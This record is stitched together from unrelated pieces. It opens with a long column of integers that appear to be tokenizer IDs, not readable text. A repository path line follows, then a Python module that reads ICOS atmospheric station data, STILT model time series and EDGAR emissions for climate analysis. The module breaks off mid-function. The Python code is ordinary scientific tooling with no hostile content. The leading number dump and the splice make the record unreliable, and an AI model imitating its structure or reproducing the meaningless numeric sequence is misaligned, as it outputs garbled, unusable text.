13383,
13383,
4136,
13,
12008,
26965,
16890,
29933,
3096,
414,
2043,
17125,
21704,
29901,
16696,
29871,
29896,
448,
4721,
5014,
22274,
414,
13,
13,
29933,
19036,
16890,
29933,
3096,
414,
8128,
263,
4323,
23378,
5645,
310,
2130,
304,
970,
1301,
277,
13,
262,
596,
4272,
29889,
29871,
739,
10017,
20487,
414,
2820,
278,
1301,
277,
17726,
322,
18177,
963,
491,
13,
1552,
1353,
310,
3367,
567,
393,
1209,
393,
5040,
2645,
278,
931,
3474,
366,
1831,
29892,
13,
10149,
292,
363,
10161,
6766,
491,
901,
1135,
697,
5040,
29889,
13,
6466,
508,
367,
4318,
408,
278,
3001,
1353,
310,
3367,
567,
470,
278,
6588,
1353,
310,
3367,
567,
13,
546,
7234,
2645,
278,
931,
3474,
29889,
29871,
887,
508,
671,
278,
5016,
29890,
3002,
6055,
310,
278,
13,
2914,
292,
4682,
770,
304,
12141,
278,
10868,
310,
2669,
297,
1422,
13,
598,
294,
310,
4726,
29889,
29871,
3940,
393,
278,
5780,
10603,
366,
3078,
1048,
278,
12551,
310,
13,
1552,
3593,
267,
393,
1209,
491,
278,
17726,
29892,
871,
920,
1784,
310,
963,
727,
526,
29889,
13,
29933,
19036,
16890,
29933,
3096,
414,
3913,
402,
8969,
29903,
970,
1301,
277,
848,
322,
22711,
29954,
3235,
8527,
11597,
858,
29889,
13,
13,
14448,
29871,
29896,
947,
278,
1494,
29901,
13,
29899,
6760,
1078,
2669,
10161,
2820,
596,
1301,
277,
17726,
13,
29899,
390,
6948,
777,
1400,
29899,
19170,
373,
1906,
2669,
10161,
304,
19012,
963,
363,
4340,
13,
29871,
7418,
13,
3492,
881,
871,
505,
304,
1065,
16696,
29871,
29896,
2748,
363,
278,
1737,
5275,
322,
6835,
2159,
366,
13,
598,
29537,
292,
29889,
29871,
16696,
29871,
29896,
674,
2125,
263,
1550,
304,
1065,
363,
7200,
1301,
277,
6757,
29889,
13,
12008,
13,
13383,
13383,
13383,
13383,
13383,
13,
12008,
11882,
1266,
29871,
29906,
29900,
29896,
29955,
3423,
374,
13,
259,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
259,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
259,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
539,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
259,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
259,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
259,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
259,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
259,
27028,
1090,
278,
19245,
29889,
12008,
13,
13383,
13383,
13383,
13383,
13383,
13,
13,
5215,
2897,
29892,
21120,
29941,
13,
3166,
528,
4422,
1053,
3509,
1445,
13,
5215,
15232,
2272,
13,
5215,
350,
14388,
29918,
21741,
6678,
29879,
13,
13,
13,
1753,
1065,
12229,
29898,
449,
9170,
29892,
714,
29954,
4051,
29892,
297,
4176,
29928,
3188,
29892,
297,
13724,
16390,
24541,
29892,
2411,
29892,
16534,
3505,
29892,
25091,
29892,
1605,
326,
9585,
1125,
13,
1678,
1018,
29901,
13,
13,
1678,
396,
448,
807,
3789,
701,
278,
1065,
448,
807,
13,
4706,
1018,
29901,
13,
13,
9651,
350,
14388,
29918,
21741,
6678,
29879,
29889,
5596,
1433,
29883,
6594,
29898,
1195,
29918,
3259,
29918,
771,
543,
29896,
29889,
29906,
1159,
13,
9651,
350,
14388,
29918,
21741,
6678,
29879,
29889,
5596,
1433,
29883,
3401,
29931,
293,
1947,
580,
13,
9651,
350,
14388,
29918,
21741,
6678,
29879,
29889,
5596,
3744,
29940,
1964,
293,
1947,
580,
13,
13,
9651,
350,
14388,
29918,
21741,
6678,
29879,
29889,
5596,
5531,
3493,
580,
13,
13,
9651,
396,
739,
29915,
29879,
20759,
304,
26556,
297,
29899,
14834,
6433,
29889,
13,
9651,
6811,
3539,
6466,
353,
15232,
2272,
29889,
6272,
29889,
957,
3539,
6466,
396,
3617,
278,
470,
647,
284,
995,
577,
591,
508,
10092,
372,
29889,
13,
9651,
15232,
2272,
29889,
6272,
29889,
957,
3539,
6466,
353,
5852,
13,
13,
9651,
396,
22871,
869,
29887,
2585,
304,
1737,
397,
3223,
1024,
29889,
13,
9651,
565,
451,
714,
29954,
4051,
29889,
13609,
2141,
1975,
2541,
17350,
29887,
2585,
29908,
1125,
13,
18884,
714,
29954,
4051,
4619,
11393,
29887,
2585,
29908,
13,
9651,
714,
29954,
4051,
29893,
2605,
353,
2897,
29889,
2084,
29889,
7122,
29898,
449,
9170,
29892,
714,
29954,
4051,
29897,
13,
9651,
396,
6204,
263,
934,
1737,
397,
3223,
363,
278,
2582,
29889,
13,
9651,
15232,
2272,
29889,
21895,
29889,
4391,
2283,
29954,
4051,
29898,
449,
9170,
29892,
714,
29954,
4051,
29897,
13,
13,
9651,
396,
8561,
263,
3509,
310,
278,
1881,
3758,
934,
297,
278,
16696,
29871,
29896,
1962,
577,
591,
508,
6623,
372,
29889,
13,
9651,
3758,
29928,
3188,
353,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
29954,
8969,
29903,
29889,
2850,
1159,
13,
9651,
3509,
1445,
29898,
262,
4176,
29928,
3188,
29892,
3758,
29928,
3188,
29897,
13,
9651,
396,
14971,
304,
470,
1653,
278,
3758,
934,
29889,
13,
9651,
11009,
353,
21120,
29941,
29889,
6915,
29898,
4176,
29928,
3188,
29897,
13,
9651,
274,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
29883,
353,
11009,
29889,
18127,
580,
13,
13,
9651,
25275,
749,
6708,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
29907,
14044,
3373,
24192,
287,
749,
29898,
6574,
29897,
13,
9651,
1605,
326,
7713,
952,
29892,
1605,
326,
7713,
952,
1917,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
29907,
14044,
3373,
2308,
326,
9585,
29898,
2308,
326,
9585,
29897,
13,
13,
4706,
5174,
29901,
13,
9651,
15232,
2272,
29889,
2528,
2392,
703,
2392,
4444,
701,
1065,
23157,
13,
9651,
12020,
13,
13,
13,
1678,
396,
23648,
8561,
263,
4682,
770,
310,
402,
8969,
29903,
17726,
393,
591,
508,
671,
363,
20487,
414,
448,
807,
13,
4706,
1018,
29901,
13,
9651,
396,
6204,
263,
4682,
770,
310,
1301,
277,
17726,
13,
9651,
15232,
2272,
29889,
2528,
3728,
703,
9832,
1218,
263,
4682,
770,
310,
402,
8969,
29903,
17726,
856,
1159,
13,
9651,
624,
3554,
14420,
29892,
22303,
1367,
1293,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
9984,
855,
3554,
19132,
2385,
29898,
359,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
855,
3554,
5783,
13,
4706,
5174,
29901,
13,
9651,
15232,
2272,
29889,
2528,
2392,
703,
2392,
4969,
263,
4682,
770,
310,
402,
8969,
29903,
17726,
23157,
13,
9651,
12020,
13,
13,
13,
1678,
396,
23648,
6204,
6692,
4683,
294,
2820,
599,
17726,
297,
278,
1788,
448,
807,
13,
4706,
1018,
29901,
13,
9651,
15232,
2272,
29889,
2528,
3728,
703,
9832,
1218,
2669,
10161,
2820,
17726,
856,
1159,
13,
9651,
15232,
2272,
29889,
2528,
3728,
703,
29898,
4013,
4331,
674,
2125,
263,
1550,
363,
2919,
14379,
1846,
1159,
13,
9651,
1248,
4790,
787,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
9984,
3170,
29909,
12588,
1433,
618,
855,
3554,
29898,
855,
3554,
14420,
29892,
13,
462,
18884,
297,
13724,
16390,
24541,
29892,
25275,
749,
6708,
29892,
16534,
3505,
29892,
13,
462,
18884,
25091,
29892,
1605,
326,
7713,
952,
29892,
1605,
326,
7713,
952,
1917,
29897,
13,
4706,
5174,
29901,
13,
9651,
15232,
2272,
29889,
2528,
2392,
703,
2392,
4969,
2669,
10161,
2820,
17726,
23157,
13,
9651,
12020,
13,
13,
13,
1678,
396,
23648,
4918,
29899,
5014,
278,
1248,
4790,
787,
304,
19012,
363,
16696,
29871,
29906,
448,
807,
13,
4706,
1018,
29901,
13,
13,
9651,
15232,
2272,
29889,
2528,
3728,
703,
1123,
689,
23980,
1248,
4790,
787,
363,
4340,
7418,
856,
1159,
13,
9651,
15232,
2272,
29889,
2528,
3728,
703,
29898,
4013,
4331,
674,
2125,
263,
1550,
363,
2919,
14379,
1846,
1159,
13,
13,
9651,
396,
448,
807,
2379,
8606,
278,
975,
433,
3262,
2669,
4038,
1248,
4790,
787,
448,
807,
13,
13,
9651,
396,
4803,
2787,
315,
2904,
513,
16888,
11243,
284,
18320,
313,
29956,
29968,
1367,
29871,
29945,
29946,
29900,
29941,
29946,
29897,
304,
9801,
1571,
671,
310,
9867,
20341,
749,
297,
27881,
13,
9651,
15232,
2272,
29889,
6272,
29889,
4905,
7967,
16065,
3924,
353,
350,
14388,
29918,
21741,
6678,
29879,
29889,
14058,
29907,
2904,
513,
16888,
13,
13,
9651,
396,
2379,
8606,
278,
975,
433,
3262,
1248,
4790,
787,
29889,
29871,
910,
674,
18973,
367,
1749,
1962,
29889,
13,
9651,
396,
360,
11770,
3291,
304,
671,
297,
5169,
1535,
1762,
7713,
17125,
304,
679,
8177,
310,
19039,
4235,
29889,
13,
9651,
20254,
9748,
353,
15232,
2272,
29889,
21895,
29889,
4391,
19132,
1990,
703,
262,
29918,
14834,
613,
13,
462,
462,
462,
18884,
376,
29928,
11770,
20325,
613,
376,
29925,
6992,
29911,
1159,
13,
13,
9651,
396,
450,
1652,
8606,
287,
1248,
4790,
787,
674,
367,
1749,
8494,
6490,
1962,
297,
278,
1095,
313,
8394,
13,
9651,
396,
1962,
310,
4331,
29871,
29906,
467,
13,
9651,
2379,
271,
7713,
952,
353,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
29943,
5066,
7713,
952,
1159,
13,
9651,
396,
5169,
1535,
1762,
7713,
17125,
1652,
1131,
575,
975,
284,
3262,
1248,
952,
29889,
13,
9651,
396,
3789,
263,
2919,
9867,
20341,
749,
304,
27399,
2319,
269,
14381,
1248,
4790,
787,
322,
304,
13,
9651,
396,
3013,
278,
1962,
934,
2159,
1623,
29889,
29871,
350,
618,
4314,
1122,
4337,
701,
304,
278,
5418,
13,
9651,
396,
6790,
297,
278,
9867,
20341,
749,
29892,
541,
777,
5253,
310,
10298,
338,
13,
9651,
396,
22691,
29892,
408,
2669,
4038,
1248,
4790,
787,
526,
297,
735,
627,
8763,
29889,
13,
9651,
396,
450,
2919,
9867,
20341,
749,
1122,
4556,
777,
16303,
5626,
411,
278,
1962,
13,
9651,
396,
2678,
29892,
541,
445,
338,
278,
1900,
1650,
306,
29915,
345,
1476,
577,
2215,
393,
1838,
29915,
29873,
17545,
13,
9651,
396,
701,
2086,
1568,
7418,
931,
322,
3370,
13,
9651,
1067,
375,
29911,
324,
353,
376,
29945,
27881,
29908,
13,
9651,
15232,
2272,
29889,
21895,
29889,
19132,
1762,
7713,
17125,
29898,
3733,
4790,
787,
29892,
2379,
271,
7713,
952,
29892,
1067,
375,
29911,
324,
29892,
12633,
20254,
9748,
29897,
13,
9651,
15232,
2272,
29889,
21895,
29889,
12498,
29898,
29881,
11770,
9748,
29897,
13,
13,
9651,
396,
3462,
263,
1746,
304,
278,
1962,
934,
363,
1353,
310,
3367,
567,
322,
954,
3367,
567,
847,
7234,
29889,
13,
9651,
396,
3115,
1653,
263,
29807,
1178,
1746,
577,
591,
508,
3013,
5702,
310,
963,
29889,
13,
9651,
15232,
2272,
29889,
21895,
29889,
2528,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
7713,
29891,
1367,
613,
376,
29931,
20614,
1159,
13,
9651,
15232,
2272,
29889,
21895,
29889,
2528,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
8009,
29565,
567,
613,
376,
29931,
20614,
1159,
13,
9651,
15232,
2272,
29889,
21895,
29889,
2528,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
8009,
29565,
567,
5894,
29950,
29878,
613,
376,
3970,
7466,
1307,
1159,
13,
9651,
15232,
2272,
29889,
21895,
29889,
2528,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
8009,
855,
3554,
797,
6069,
613,
376,
29931,
20614,
1159,
13,
9651,
15232,
2272,
29889,
21895,
29889,
2528,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
7976,
15716,
2481,
613,
376,
3970,
7466,
1307,
1159,
13,
13,
13,
9651,
396,
448,
807,
6204,
5096,
287,
3291,
29892,
697,
363,
1269,
2441,
16698,
29807,
448,
807,
13,
13,
9651,
396,
6204,
3291,
363,
671,
297,
278,
27486,
5780,
313,
650,
1298,
639,
15680,
29897,
13,
9651,
2379,
8606,
287,
20325,
353,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
29943,
5066,
841,
287,
20325,
1159,
13,
9651,
15232,
2272,
29889,
21895,
29889,
19132,
1762,
5228,
29898,
29943,
5066,
7713,
952,
29892,
2379,
8606,
287,
20325,
29892,
376,
1177,
29903,
22027,
1159,
13,
13,
9651,
396,
4803,
27486,
304,
5096,
3291,
322,
3013,
278,
5040,
29918,
4841,
515,
278,
2441,
317,
2887,
29889,
13,
9651,
396,
17212,
297,
263,
3291,
7546,
411,
4235,
438,
22789,
29918,
29943,
1367,
363,
278,
23481,
310,
278,
13,
9651,
396,
1652,
8606,
287,
1248,
4790,
787,
322,
263,
5040,
29918,
333,
1897,
411,
278,
5040,
18999,
29889,
13,
9651,
396,
8984,
29879,
526,
5096,
287,
29892,
322,
1269,
756,
871,
697,
5040,
29918,
333,
29889,
13,
9651,
10292,
287,
20325,
353,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
7264,
287,
20325,
1159,
13,
9651,
15232,
2272,
29889,
15916,
29889,
18415,
29898,
29943,
5066,
841,
287,
20325,
29892,
1248,
4790,
787,
29892,
10292,
287,
20325,
29897,
13,
9651,
15232,
2272,
29889,
21895,
29889,
12498,
29898,
29943,
5066,
841,
287,
20325,
29897,
13,
13,
13,
9651,
396,
448,
807,
7523,
278,
10292,
287,
8984,
29879,
964,
385,
3758,
1591,
448,
807,
13,
13,
9651,
396,
6204,
263,
3758,
1591,
4067,
1218,
278,
2043,
17125,
383,
1367,
411,
278,
5040,
29918,
4841,
393,
9080,
372,
29889,
13,
9651,
274,
29889,
7978,
703,
29928,
29366,
10911,
10762,
28731,
10292,
287,
20325,
29936,
1159,
13,
9651,
10938,
353,
376,
7713,
17125,
29918,
29943,
1367,
365,
20614,
29892,
5040,
29918,
333,
323,
12194,
29908,
13,
9651,
1653,
29918,
17868,
353,
376,
27045,
10911,
10292,
287,
20325,
313,
29995,
29879,
416,
29908,
1273,
10938,
13,
9651,
274,
29889,
7978,
29898,
3258,
29918,
17868,
29897,
13,
13,
9651,
396,
3462,
848,
304,
278,
1591,
29889,
17026,
2043,
17125,
23481,
411,
694,
6942,
5040,
29918,
4841,
577,
591,
508,
5217,
963,
29889,
13,
9651,
383,
1367,
29879,
1762,
12498,
353,
5159,
13,
9651,
3462,
1762,
7264,
287,
29925,
1372,
353,
5159,
13,
9651,
411,
15232,
2272,
29889,
1388,
29889,
7974,
19890,
29898,
7264,
287,
20325,
29892,
6796,
1955,
6259,
29918,
29943,
1367,
613,
376,
9847,
29918,
333,
20068,
408,
10292,
287,
29925,
29873,
19890,
29901,
13,
18884,
363,
1948,
297,
10292,
287,
29925,
29873,
19890,
29901,
13,
462,
1678,
565,
451,
1948,
29961,
29896,
5387,
13,
462,
4706,
383,
1367,
29879,
1762,
12498,
29889,
4397,
29898,
798,
29961,
29900,
2314,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
3462,
1762,
7264,
287,
29925,
1372,
29889,
4397,
3552,
798,
29961,
29900,
1402,
1948,
29961,
29896,
1402,
876,
13,
9651,
396,
3462,
278,
438,
29928,
4452,
304,
278,
3758,
1591,
13,
9651,
274,
29889,
4258,
329,
331,
1384,
877,
4907,
19460,
11646,
10292,
287,
20325,
320,
13,
462,
9651,
313,
7713,
17125,
29918,
29943,
1367,
29892,
5040,
29918,
333,
29897,
320,
13,
462,
9651,
15673,
313,
14579,
1577,
416,
4907,
742,
3462,
1762,
7264,
287,
29925,
1372,
29897,
13,
9651,
11009,
29889,
15060,
580,
13,
9651,
15232,
2272,
29889,
21895,
29889,
12498,
29898,
7264,
287,
20325,
29897,
13,
9651,
383,
1367,
29879,
1762,
12498,
353,
731,
29898,
29943,
1367,
29879,
1762,
12498,
29897,
13,
13,
13,
9651,
396,
448,
807,
21267,
1248,
4790,
787,
451,
6942,
411,
738,
5040,
29918,
4841,
448,
807,
13,
9651,
396,
4525,
892,
5759,
491,
278,
5169,
1535,
1762,
7713,
17125,
5780,
297,
10161,
6446,
13,
9651,
396,
22047,
491,
916,
1248,
4790,
787,
322,
9455,
29915,
29873,
6942,
411,
738,
17726,
29889,
13,
13,
9651,
396,
8561,
4682,
7546,
6943,
871,
278,
1248,
4790,
787,
591,
864,
304,
5217,
29889,
13,
9651,
5153,
29906,
353,
15232,
2272,
29889,
4002,
29581,
29898,
29943,
5066,
7713,
952,
29897,
13,
9651,
10604,
29949,
1367,
1170,
353,
5153,
29906,
29889,
29949,
1367,
3073,
1170,
13,
9651,
396,
530,
1541,
292,
411,
29871,
29900,
4038,
674,
925,
4556,
4828,
2678,
29889,
13,
9651,
6804,
20216,
1509,
353,
18793,
24111,
29918,
13799,
29908,
353,
29871,
29900,
29915,
13,
9651,
565,
383,
1367,
29879,
1762,
12498,
29901,
13,
18884,
6804,
20216,
1509,
4619,
525,
6323,
13577,
718,
10604,
29949,
1367,
1170,
718,
18793,
2672,
6702,
13,
18884,
363,
383,
1367,
297,
383,
1367,
29879,
1762,
12498,
29901,
13,
462,
1678,
6804,
20216,
1509,
4619,
851,
29898,
29943,
1367,
29897,
718,
9162,
376,
13,
18884,
6804,
20216,
1509,
353,
6804,
20216,
1509,
7503,
29899,
29906,
29962,
718,
376,
5513,
13,
9651,
15232,
2272,
29889,
21895,
29889,
9984,
19132,
14420,
29898,
29943,
5066,
7713,
952,
29892,
376,
29943,
5066,
7713,
952,
14420,
613,
6804,
20216,
1509,
29897,
13,
13,
9651,
396,
21267,
278,
1248,
4790,
787,
393,
1016,
29915,
29873,
3928,
304,
738,
5040,
29918,
4841,
29889,
13,
9651,
15232,
2272,
29889,
21895,
29889,
12498,
8263,
3698,
703,
29943,
5066,
7713,
952,
14420,
1159,
13,
13,
13,
9651,
396,
448,
807,
6977,
5987,
278,
21755,
1367,
1746,
448,
807,
13,
13,
9651,
396,
3789,
21755,
1367,
5186,
304,
278,
438,
1367,
29889,
13,
9651,
4603,
353,
376,
3850,
718,
10604,
29949,
1367,
1170,
718,
376,
3850,
13,
9651,
15232,
2272,
29889,
21895,
29889,
27065,
403,
3073,
29898,
29943,
5066,
7713,
952,
29892,
376,
7713,
29891,
1367,
613,
4603,
29892,
376,
20055,
4690,
1164,
1159,
13,
13,
13,
4706,
5174,
29901,
13,
9651,
15232,
2272,
29889,
2528,
2392,
703,
2392,
1400,
29899,
19170,
1248,
4790,
787,
1159,
13,
9651,
12020,
13,
13,
4706,
15232,
2272,
29889,
2528,
3728,
703,
25632,
29991,
1159,
13,
4706,
15232,
2272,
29889,
2528,
3728,
703,
10547,
3971,
304,
1962,
1737,
397,
3223,
376,
718,
714,
29954,
4051,
29893,
2605,
718,
29242,
1159,
13,
4706,
15232,
2272,
29889,
2528,
3728,
703,
29899,
16696,
29896,
29918,
855,
3554,
1159,
13,
4706,
15232,
2272,
29889,
2528,
3728,
703,
29899,
16696,
29896,
29918,
29943,
5066,
7713,
952,
1159,
13,
4706,
15232,
2272,
29889,
2528,
3728,
703,
29899,
16696,
29896,
29918,
29954,
8969,
29903,
29889,
2850,
1159,
13,
13,
4706,
396,
24948,
278,
5780,
393,
445,
338,
1962,
29889,
910,
674,
788,
278,
1962,
304,
278,
2910,
29889,
13,
4706,
15232,
2272,
29889,
2697,
9329,
2887,
1626,
29898,
29947,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
855,
3554,
5783,
13,
4706,
15232,
2272,
29889,
2697,
9329,
2887,
1626,
29898,
29929,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
29943,
5066,
7713,
952,
5783,
13,
4706,
15232,
2272,
29889,
2697,
9329,
2887,
1626,
29898,
29896,
29900,
29892,
2897,
29889,
2084,
29889,
7122,
29898,
449,
29954,
4051,
29893,
2605,
29892,
376,
14448,
29896,
29918,
29954,
8969,
29903,
29889,
2850,
5783,
13,
13,
13,
1678,
5174,
350,
14388,
29918,
21741,
6678,
29879,
29889,
7281,
2392,
29901,
13,
4706,
15232,
2272,
29889,
2528,
2392,
703,
17776,
304,
1653,
26965,
16890,
29933,
3096,
414,
1248,
4790,
787,
23157,
13,
4706,
1209,
13,
1678,
5174,
29901,
13,
4706,
15232,
2272,
29889,
2528,
2392,
703,
17776,
304,
1653,
26965,
16890,
29933,
3096,
414,
1248,
4790,
787,
23157,
13,
4706,
12020,
13,
2
] |
notebooks/project_jupyter_notebooks/RINGO_T1.3/modules/STILT_modules_plus.py | ICOS-Carbon-Portal/jupyter | 6 | 147861 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
import numpy as np
import pandas as pd
import datetime as dt
import netCDF4 as cdf
import matplotlib.pyplot as plt
import matplotlib.ticker as mticker
import cartopy
cartopy.config['data_dir'] = '/data/project/cartopy/'
import cartopy.crs as ccrs
import cartopy.feature as cfeature
from cartopy.feature import NaturalEarthFeature, LAND, COASTLINE, LAKES
import json
import requests
#Import ICOS tools:
from icoscp.cpb.dobj import Dobj
from icoscp.sparql.runsparql import RunSparql
from icoscp.sparql import sparqls
my_home = os.getenv('HOME')
sys.path.insert(0,my_home+'/new_jupyter/modules')
from extra_sparqls import get_station_class, get_icos_stations_atc_samplingheight #, atc_station_tracer_query
# paths --- changed for new JupyterHub instance
path_stiltweb = '/data/stiltweb/'
path_stilt = '/data/stilt/'
path_edgar = '/data/stilt/Emissions/'
#path_plots = './plots/'
#------------------------------------------------------------------------------------------------------------------
def read_icos_data(f_icos,tracer,flag=True):
if (len(f_icos)>0):
df = Dobj(f_icos.dobj.iloc[0]).getColumns()
df.set_index('TIMESTAMP',inplace=True)
if flag:
if (tracer.lower() == 'mto'):
value_cols =[x.replace('-Flag','') for x in df.columns[df.columns.str.contains('Flag')]]
for x in value_cols:
df[x].loc[df[x+'-Flag']!='O']=np.nan
else:
df[tracer.lower()].loc[df['Flag']!='O']=np.nan
df['Stdev'].loc[df['Flag']!='O']=np.nan
else:
if (tracer.lower() != 'mto'):
df[tracer.lower()].loc[df[tracer.lower()]<0.0]=np.nan
df['Stdev'].loc[df['Stdev']<0.0]=np.nan
else:
df = pd.DataFrame(None)
return df
#------------------------------------------------------------------------------------
# function to convert station longitude and latitude (slat, slon) to indices of STILT model grid (ix,jy)
def lonlat_2_ixjy(slon,slat,mlon,mlat):
#slon, slat: longitude and latitude of station
#mlon, mlat: 1-dim. longitude and latitude of model grid
ix = (np.abs(mlon-slon)).argmin()
jy = (np.abs(mlat-slat)).argmin()
return ix,jy
#------------------------------------------------------------------------------------
# function to read annual mean EDGAR emissions
def read_emissions(filename):
# read EDAGR anthropogenic emissions
# latitude and longitude are for lower left corner of grid cell
f = cdf.Dataset(filename)
#print(f)
emis=f.variables["emission"][:,:,:]
lon_ll=f.variables["lon"][:]
lat_ll=f.variables["lat"][:]
time=f.variables["time"][:]
#shift lat and lon to cell center
dlon=np.abs(lon_ll[2]-lon_ll[1])
dlat=np.abs(lat_ll[2]-lat_ll[1])
emis_lon=lon_ll+0.5*dlon
emis_lat=lat_ll+0.5*dlat
unit="["+f.variables["emission"].units+"]"
datetime=cdf.num2date(f.variables["time"][:],units=f.variables["time"].units)
f.close()
return emis, emis_lon, emis_lat, datetime, unit
#------------------------------------------------------------------------------------
def create_STILT_dictionary():
# store all STILT station information in a dictionary
#
# Dictionary contains information on
# STILT station id
# Station coordinates (latitude, longitude)
# Altitude of tracer release in STILT simultation
# STILT location identifier
# Station name - if available
#
# get all ICOS station IDs by listing subdirectories in stiltweb
# extract location from filename of link
path_stations = path_stiltweb+'/stations/'
all_stations = os.listdir(path_stations)
# empty dictionary
stations = {}
# fill dictionary with ICOS station id, latitude, longitude and altitude
for ist in sorted(list(set(all_stations))):
stations[ist] = {}
# get filename of link (original stiltweb directory structure)
# and extract location information
if os.path.exists(path_stations+ist):
loc_ident = os.readlink(path_stations+ist)
clon = loc_ident[-13:-6]
lon = np.float(clon[:-1])
if clon[-1:] == 'W':
lon = -lon
clat = loc_ident[-20:-14]
lat = np.float(clat[:-1])
if clat[-1:] == 'S':
lat = -lat
alt = np.int(loc_ident[-5:])
stations[ist]['lat']=lat
stations[ist]['lon']=lon
stations[ist]['alt']=alt
stations[ist]['locIdent']=os.path.split(loc_ident)[-1]
# add information on station name (and new STILT station id) from stations.csv file used in stiltweb
url="https://stilt.icos-cp.eu/viewer/stationinfo"
df = pd.read_csv(url)
for ist in sorted(list(set(stations))):
stationName = df.loc[df['STILT id'] == ist]['STILT name']
if len(stationName.value_counts()) > 0:
stations[ist]['name'] = stationName.item()
else:
stations[ist]['name'] = ''
# Get list of ICOS class 1 and class 2 stations from Carbon Portal
#query = sparqls.get_station_class()
query = get_station_class()
fmt = 'pandas'
df_datatable = RunSparql(query, fmt).run()
# add information if ICOS class 1 or class 2 site
# add ICOS station name
for ist in sorted(list(set(stations))):
stations[ist]['stationClass'] = np.nan
stations[ist]['icosName'] = ''
stations[ist]['icosId'] = ''
stations[ist]['icosLon'] = np.nan
stations[ist]['icosLat'] = np.nan
for istICOS in df_datatable['stationId']:
ic = int(df_datatable[df_datatable['stationId']==istICOS].index.values)
if istICOS in ist:
stations[ist]['stationClass'] = int(df_datatable['stationClass'][ic])
stations[ist]['icosName'] = df_datatable['longName'][ic]
stations[ist]['icosId'] = df_datatable['stationId'][ic]
stations[ist]['icosLon'] = float(df_datatable['lon'][ic])
stations[ist]['icosLat'] = float(df_datatable['lat'][ic])
# add available sampling heights
# find all co2 data files for station
query = get_icos_stations_atc_samplingheight()
fmt = 'pandas'
df_datatable_hgt = RunSparql(query, fmt).run()
for ist in sorted(list(set(stations))):
stations[ist]['icosHeight'] = np.nan
if (len(stations[ist]['icosName']) > 0):
heights = df_datatable_hgt[df_datatable_hgt['stationId']==ist[0:3]]['height'].unique()
ih = np.nan
if (len(heights) > 0):
if (len(ist[3:])==0):
ih = int(float(heights[0]))
else:
ih = [int(float(el)) for el in heights if (abs(int(float(el))-int(ist[3:]))<6)]
if isinstance(ih, list):
if (len(ih) == 0):
stations[ist]['icosHeight'] = np.nan
else:
stations[ist]['icosHeight'] = ih[0]
else:
stations[ist]['icosHeight'] = ih
# print dictionary
#for ist in sorted(stations):
# print ('station:', ist)
# for k in stations[ist]:
# print (k,':', stations[ist][k])
# write dictionary to json file for further use
if os.access('./', os.W_OK):
with open("stationsDict", "w") as outfile:
json.dump(stations, outfile)
return stations
#---------------------------------------------------------------------------------------------
def read_STILT_dictionary():
# read STILT station dictionary from json file
if os.path.exists("stationsDict"):
with open("stationsDict") as jsonfile:
stations = json.load(jsonfile)
else:
print("no STILT station dictionary found")
stations={}
return stations
#------------------------------------------------------------------------------------------------
def print_STILT_dictionary(stilt_stations):
if not stilt_stations:
# read STILT station dictionary from json file
stilt_stations = read_STILT_dictionary()
# print dictionary
for ist in sorted(stilt_stations):
print ('station:', ist)
for k in stilt_stations[ist]:
print (k,':', stilt_stations[ist][k])
print(' ')
#------------------------------------------------------------------------------
# function to read STILT time series with hourly concentrations for RINGO T1.3
def read_stilt_timeseries_RINGO_T13(station,year,loc_ident):
filename=path_stilt+'Results_RINGO_T1.3_test/'+station+'/stiltresult'+str(year)+'x'+loc_ident+'.csv'
df= pd.read_csv(filename,delim_whitespace=True)
df.date = pd.to_datetime(df[['year', 'month', 'day', 'hour']])
df.name = station
df.model = 'STILT'
df['wind.speed']=np.sqrt((df['wind.u']**2)+(df['wind.v']**2))
df['co2.ff']=df['co2.fuel.coal']+df['co2.fuel.oil']+df['co2.fuel.gas']
df.set_index(['date'],inplace=True)
#print(df)
return df
#------------------------------------------------------------------------------
# function to read STILT time series with hourly concentrations for RINGO T1.3, updated with more STILT runs
def read_stilt_timeseries_RINGO_T13_update(station,year,loc_ident):
filename=path_stilt+'Results_RINGO_T1.3_test/'+station+'/stiltresult'+str(year)+'x'+loc_ident+'.csv'
df= pd.read_csv(filename,delim_whitespace=True)
df.date = pd.to_datetime(df[['year', 'month', 'day', 'hour']])
df.name = station
df.model = 'STILT'
